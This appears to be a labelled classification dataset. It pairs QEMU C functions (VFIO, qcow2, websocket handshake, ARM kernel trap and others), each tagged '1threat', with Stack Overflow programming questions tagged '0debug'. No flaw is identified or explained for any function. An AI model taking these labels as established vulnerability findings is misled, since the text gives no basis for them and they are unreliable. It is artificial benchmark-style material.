if (memory_region_is_iommu(section->mr)) {
VFIOGuestIOMMU *giommu;
QLIST_FOREACH(giommu, &container->giommu_list, giommu_next) {
if (giommu->iommu == section->mr) {
memory_region_unregister_iommu_notifier(giommu->iommu,
&giommu->n);
QLIST_REMOVE(giommu, giommu_next);
g_free(giommu);
break;
}
}
}
iova = TARGET_PAGE_ALIGN(section->offset_within_address_space);
llend = int128_make64(section->offset_within_address_space);
llend = int128_add(llend, section->size);
llend = int128_and(llend, int128_exts64(TARGET_PAGE_MASK));
if (int128_ge(int128_make64(iova), llend)) {
return;
}
end = int128_get64(int128_sub(llend, int128_one()));
llsize = int128_sub(llend, int128_make64(iova));
trace_vfio_listener_region_del(iova, end);
ret = vfio_dma_unmap(container, iova, int128_get64(llsize));
memory_region_unref(section->mr);
if (ret) {
error_report("vfio_dma_unmap(%p, 0x%"HWADDR_PRIx", "
"0x%"HWADDR_PRIx") = %d (%m)",
container, iova, int128_get64(llsize), ret);
}
if (container->iommu_type == VFIO_SPAPR_TCE_v2_IOMMU) {
vfio_spapr_remove_window(container,
section->offset_within_address_space);
if (vfio_host_win_del(container,
section->offset_within_address_space,
section->offset_within_address_space +
int128_get64(section->size) - 1) < 0) {
hw_error("%s: Cannot delete missing window at %"HWADDR_PRIx,
__func__, section->offset_within_address_space);
}
}
}
| 1threat
|
static int gdb_set_spe_reg(CPUState *env, uint8_t *mem_buf, int n)
{
if (n < 32) {
#if defined(TARGET_PPC64)
target_ulong lo = (uint32_t)env->gpr[n];
target_ulong hi = (target_ulong)ldl_p(mem_buf) << 32;
env->gpr[n] = lo | hi;
#else
env->gprh[n] = ldl_p(mem_buf);
#endif
return 4;
}
if (n == 33) {
env->spe_acc = ldq_p(mem_buf);
return 8;
}
if (n == 34) {
return 4;
}
return 0;
}
| 1threat
|
static void vhost_scsi_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
VirtioDeviceClass *vdc = VIRTIO_DEVICE_CLASS(klass);
dc->exit = vhost_scsi_exit;
dc->props = vhost_scsi_properties;
set_bit(DEVICE_CATEGORY_STORAGE, dc->categories);
vdc->init = vhost_scsi_init;
vdc->get_features = vhost_scsi_get_features;
vdc->set_config = vhost_scsi_set_config;
vdc->set_status = vhost_scsi_set_status;
}
| 1threat
|
int net_init_netmap(const NetClientOptions *opts,
const char *name, NetClientState *peer, Error **errp)
{
const NetdevNetmapOptions *netmap_opts = opts->u.netmap;
struct nm_desc *nmd;
NetClientState *nc;
Error *err = NULL;
NetmapState *s;
nmd = netmap_open(netmap_opts, &err);
if (err) {
error_propagate(errp, err);
return -1;
}
nc = qemu_new_net_client(&net_netmap_info, peer, "netmap", name);
s = DO_UPCAST(NetmapState, nc, nc);
s->nmd = nmd;
s->tx = NETMAP_TXRING(nmd->nifp, 0);
s->rx = NETMAP_RXRING(nmd->nifp, 0);
s->vnet_hdr_len = 0;
pstrcpy(s->ifname, sizeof(s->ifname), netmap_opts->ifname);
netmap_read_poll(s, true);
return 0;
}
| 1threat
|
do_kernel_trap(CPUARMState *env)
{
uint32_t addr;
uint32_t cpsr;
uint32_t val;
switch (env->regs[15]) {
case 0xffff0fa0:
break;
case 0xffff0fc0:
start_exclusive();
cpsr = cpsr_read(env);
addr = env->regs[2];
if (get_user_u32(val, addr))
val = ~env->regs[0];
if (val == env->regs[0]) {
val = env->regs[1];
put_user_u32(val, addr);
env->regs[0] = 0;
cpsr |= CPSR_C;
} else {
env->regs[0] = -1;
cpsr &= ~CPSR_C;
}
cpsr_write(env, cpsr, CPSR_C);
end_exclusive();
break;
case 0xffff0fe0:
env->regs[0] = env->cp15.tpidrro_el0;
break;
case 0xffff0f60:
arm_kernel_cmpxchg64_helper(env);
break;
default:
return 1;
}
addr = env->regs[14];
if (addr & 1) {
env->thumb = 1;
addr &= ~1;
}
env->regs[15] = addr;
return 0;
}
| 1threat
|
How to compare input text with string array in android studio? : <p>I am new to app development and I have a problem with coding in android studio. I want to compare an input text with a string in the string array. For some reason it won't work. When i try the java code in eclipse it works.</p>
<p>I already run the debugger and the inputmessage is "Banana". The debugger also shows that message = "Banana" when it is in CheckAnswer(message). But for some reason the function isn't returning "Right". It returns "wrong"</p>
<p>I hope somebody can help me.</p>
<p>Here is my code:</p>
<pre><code>public void sendMessage(View view) {
// Do something in response to button
Intent intent = new Intent(this, DisplayMessageActivity.class);
EditText editText = (EditText) findViewById(R.id.edit_message);
String message = editText.getText().toString();
intent.putExtra(EXTRA_MESSAGE, message);
String message2 = CheckAnswer(message);
intent.putExtra(CORRECT_MESSAGE, message2);
startActivity(intent);
}
public static String CheckAnswer(String string) {
String rightanswer[] = {"Apple", "Banana", "Coconut"};
String answer = null;
for (int i = 0; i <= rightanswer.length-1; i++) {
if (string == rightanswer[i]) {
answer = "Right!!";
break;
}
else answer = "Wrong.";
}
return answer;
}
</code></pre>
| 0debug
|
Checking for duplicate strings in JavaScript array : <p>I have JS array with strings, for example:</p>
<p><code>var strArray = [ "q", "w", "w", "e", "i", "u", "r"];</code></p>
<p>I need to compare for duplicate strings inside array, and if duplicate string exists, there should be alert box pointing to that string.</p>
<p>I was trying to compare it with <code>for</code> loop, but I don't know how to write code so that array checks it`s own strings for duplicates, without already pre-determined string to compare.</p>
| 0debug
|
Error Disk I/O in Quick Help Inspector Xcode9 : <p>I have been using Xcode recently when I noticed that the Quick Help tab wasn't showing what is used to show, it was just displaying</p>
<pre><code>Error
Domain=com.apple.DNTDocumentationSupport Code=0 "disk I/O error" UserInfo=
{NSLocalizedDescription=disk I/O error}
</code></pre>
<p>I looked up how to fix it, but I got no results.</p>
<p>Does anyone know how to fix this?</p>
| 0debug
|
Defined a method in Ruby and am trying to return a string that incorporates what the method is calculating : Here's my code:
tv_price = 200.50
tv_buyers = 3
tv_sales = tv_price * tv_buyers
def two_decimals(number)
puts sprintf('%0.2f', number)
end
puts "The total dollar amount of TVs sold today was #{two_decimals(tv_sales).to_s}."
I want to return the following:
**The total dollar amount of TVs sold today was 601.50.**
However, whether I test the code in IRB or run the rb, the return always looks like this:
=>601.50
=>The total dollar amount of TVs sold today was
In that exact order. How can I get the return to be on one line, and in the proper order? Thanks!
| 0debug
|
static void xvid_idct_add(uint8_t *dest, ptrdiff_t line_size, int16_t *block)
{
ff_xvid_idct(block);
ff_add_pixels_clamped(block, dest, line_size);
}
| 1threat
|
Make Object in javscript with jquery : I get some trouble in jquery.
I want to make object in javascript(like class but it is not support for es5/6 on my browser).My goal is get this of function in callback of Jquery.
Show off my Code.
var log = e => console.log(e);
$(function(){
var oop = new _oop();
})
var _oop = function(){
this.testVariable = 0;
$.get(url,function(){
log(this.testVariable);//undefined
});
}
That Variable is point at selector by jquery,I could not thought another ideas,just use "var" instead of "this" could deal this.
| 0debug
|
Simple way to reset Django PostgreSQL database? : <p>I was able to reset a Django PostgreSQL database using the following steps:</p>
<ol>
<li>Delete migration files</li>
<li>Enter psql command prompt. Connect to database. drop schema public cascade; create schema public;</li>
<li>Step 2 unfortunately seemed to have removed my user role and rights so I went back to the psql command promt and recreated those.</li>
<li>Step 2 also meant I needed to run the following commands in the psql command prompt: grant usage on schema public to public;
grant create on schema public to public;</li>
<li>Step 2 also deleted the standard Django users I had created so I needed to recreate these</li>
<li>python manage.py makemigrations && python manage.py migrate</li>
</ol>
<p>I am currently making changes to my models and testing each change. I don't have any data I need to keep. Is there an easier way than the above to reset the database when migrations donät work?</p>
<p>I would at least like to replace step 2 with something else so that I can skip steps 3-5.</p>
| 0debug
|
static int qio_channel_websock_handshake_read(QIOChannelWebsock *ioc,
Error **errp)
{
char *handshake_end;
ssize_t ret;
size_t want = 4096 - ioc->encinput.offset;
buffer_reserve(&ioc->encinput, want);
ret = qio_channel_read(ioc->master,
(char *)buffer_end(&ioc->encinput), want, errp);
if (ret < 0) {
return -1;
}
ioc->encinput.offset += ret;
handshake_end = g_strstr_len((char *)ioc->encinput.buffer,
ioc->encinput.offset,
QIO_CHANNEL_WEBSOCK_HANDSHAKE_END);
if (!handshake_end) {
if (ioc->encinput.offset >= 4096) {
error_setg(errp,
"End of headers not found in first 4096 bytes");
return -1;
} else {
return 0;
}
}
*handshake_end = '\0';
if (qio_channel_websock_handshake_process(ioc,
(char *)ioc->encinput.buffer,
errp) < 0) {
return -1;
}
buffer_advance(&ioc->encinput,
handshake_end - (char *)ioc->encinput.buffer +
strlen(QIO_CHANNEL_WEBSOCK_HANDSHAKE_END));
return 1;
}
| 1threat
|
How to make iOS chat instant (real time)? : <p>a part of my app involves building a IM group chat. As right now, I have the whole chat working. However, the problem is that obviously is not instant. It updates in ViewDidLoad(). I know that making it instant is the hardest part in making an IM chat. I'm currently using Parse, and I initially thought of using push notifications to update the page, but Googling a little more I found out that people were saying that there are a few cons in doing that such as the fact that the user would get a crazy number of push notifications.
Do you have any idea of how could I approach this problem or how I could get my chat to be in real time?</p>
<p>Thanks in advance for the help.</p>
| 0debug
|
uint8_t cpu_inb(pio_addr_t addr)
{
uint8_t val;
val = ioport_read(0, addr);
trace_cpu_in(addr, val);
LOG_IOPORT("inb : %04"FMT_pioaddr" %02"PRIx8"\n", addr, val);
return val;
}
| 1threat
|
AngularJS regex for validate a number that should start with 04 and have length of 10 : <p>I am new to angular js and i was working on validating user input. I want the input mobile number to be 10 of length (which i know using ng-maxlength) and number must start with '04'. I need help building the regex for it.
The html code is:</p>
<pre><code> <input ng-pattern="what to write here?" type="text" id="mobile" ng-model="mobile" ng-maxlength="10" ng-minlength="10" name="mobile" placeholder="Mobile" required class="input-xlarge">
<p ng-show="myForm.mobile.$touched && myForm.mobile.$invalid" style="color: red">Must be 10 digit and start with 04.</p>
</code></pre>
| 0debug
|
Quickest and best way to determine Angular/AngularJS version a site is using? : <p>At work, I've inherited over 30 web sites/applications built using C#, ASP.NET, MVC and AngularJS/Angular. The sites were built and updated between 2010 and 2018. Some have been built and updated more recently than others. What is the quickest and best way to determine decisively what version of AngularJS or Angular each site is using?</p>
<p>For the record, I don't have any Angular experience yet, other than a few modifications to some of these sites. My background is in C#, ASP.NET, MVC, React, JS, PHP, VB6 etc. The technologies and design decisions used for these sites were an interesting choice, which wasn't mine to make, so please don't get too excited about them. What I find will determine which version of Angular I will focus on learning initially.</p>
| 0debug
|
int qcow2_grow_l1_table(BlockDriverState *bs, int min_size, bool exact_size)
{
BDRVQcowState *s = bs->opaque;
int new_l1_size, new_l1_size2, ret, i;
uint64_t *new_l1_table;
int64_t new_l1_table_offset;
uint8_t data[12];
if (min_size <= s->l1_size)
return 0;
if (exact_size) {
new_l1_size = min_size;
} else {
new_l1_size = s->l1_size;
if (new_l1_size == 0) {
new_l1_size = 1;
}
while (min_size > new_l1_size) {
new_l1_size = (new_l1_size * 3 + 1) / 2;
}
}
#ifdef DEBUG_ALLOC2
fprintf(stderr, "grow l1_table from %d to %d\n", s->l1_size, new_l1_size);
#endif
new_l1_size2 = sizeof(uint64_t) * new_l1_size;
new_l1_table = g_malloc0(align_offset(new_l1_size2, 512));
memcpy(new_l1_table, s->l1_table, s->l1_size * sizeof(uint64_t));
BLKDBG_EVENT(bs->file, BLKDBG_L1_GROW_ALLOC_TABLE);
new_l1_table_offset = qcow2_alloc_clusters(bs, new_l1_size2);
if (new_l1_table_offset < 0) {
g_free(new_l1_table);
return new_l1_table_offset;
}
ret = qcow2_cache_flush(bs, s->refcount_block_cache);
if (ret < 0) {
goto fail;
}
BLKDBG_EVENT(bs->file, BLKDBG_L1_GROW_WRITE_TABLE);
for(i = 0; i < s->l1_size; i++)
new_l1_table[i] = cpu_to_be64(new_l1_table[i]);
ret = bdrv_pwrite_sync(bs->file, new_l1_table_offset, new_l1_table, new_l1_size2);
if (ret < 0)
goto fail;
for(i = 0; i < s->l1_size; i++)
new_l1_table[i] = be64_to_cpu(new_l1_table[i]);
BLKDBG_EVENT(bs->file, BLKDBG_L1_GROW_ACTIVATE_TABLE);
cpu_to_be32w((uint32_t*)data, new_l1_size);
cpu_to_be64wu((uint64_t*)(data + 4), new_l1_table_offset);
ret = bdrv_pwrite_sync(bs->file, offsetof(QCowHeader, l1_size), data,sizeof(data));
if (ret < 0) {
goto fail;
}
g_free(s->l1_table);
qcow2_free_clusters(bs, s->l1_table_offset, s->l1_size * sizeof(uint64_t));
s->l1_table_offset = new_l1_table_offset;
s->l1_table = new_l1_table;
s->l1_size = new_l1_size;
return 0;
fail:
g_free(new_l1_table);
qcow2_free_clusters(bs, new_l1_table_offset, new_l1_size2);
return ret;
}
| 1threat
|
npm outdated error Cannot read property 'length' of undefined : <p>I try running 'npm outdated' from the console in my node project. But I get this error:</p>
<pre><code>npm ERR! Cannot read property 'length' of undefined
npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\User\AppData\Roaming\npm-cache\_logs\2019-03-31T12_26_30_745Z-debug.log
</code></pre>
<p>This is the error in the log:</p>
<pre><code>199 verbose stack TypeError: Cannot read property 'length' of undefined
199 verbose stack at dotindex (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\text-table\index.js:59:32)
199 verbose stack at C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\text-table\index.js:11:21
199 verbose stack at Array.forEach (<anonymous>)
199 verbose stack at forEach (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\text-table\index.js:73:31)
199 verbose stack at C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\text-table\index.js:10:9
199 verbose stack at Array.reduce (<anonymous>)
199 verbose stack at reduce (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\text-table\index.js:63:30)
199 verbose stack at module.exports (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\text-table\index.js:9:20)
199 verbose stack at C:\Users\amita\AppData\Roaming\npm\node_modules\npm\lib\outdated.js:130:16
199 verbose stack at cb (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\slide\lib\async-map.js:47:24)
199 verbose stack at outdated_ (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\lib\outdated.js:221:12)
199 verbose stack at skip (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\lib\outdated.js:343:5)
199 verbose stack at updateDeps (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\lib\outdated.js:446:7)
199 verbose stack at tryCatcher (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\bluebird\js\release\util.js:16:23)
199 verbose stack at Promise.successAdapter [as _fulfillmentHandler0] (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\bluebird\js\release\nodeify.js:23:30)
199 verbose stack at Promise._settlePromise (C:\Users\amita\AppData\Roaming\npm\node_modules\npm\node_modules\bluebird\js\release\promise.js:566:21)
200 verbose cwd C:\Users\amita\Ionic\toratlechima
201 verbose Windows_NT 10.0.17134
202 verbose argv "C:\\Program Files\\nodejs\\node.exe" "C:\\Users\\amita\\AppData\\Roaming\\npm\\node_modules\\npm\\bin\\npm-cli.js" "outdated"
203 verbose node v10.11.0
204 verbose npm v6.9.0
205 error Cannot read property 'length' of undefined
206 verbose exit [ 1, true ]
</code></pre>
<p>This also happens when I try to run it globally.
Anyone encounter this?</p>
| 0debug
|
static int buffered_close(void *opaque)
{
MigrationState *s = opaque;
DPRINTF("closing\n");
s->xfer_limit = INT_MAX;
while (!qemu_file_get_error(s->file) && s->buffer_size) {
buffered_flush(s);
}
return migrate_fd_close(s);
}
| 1threat
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.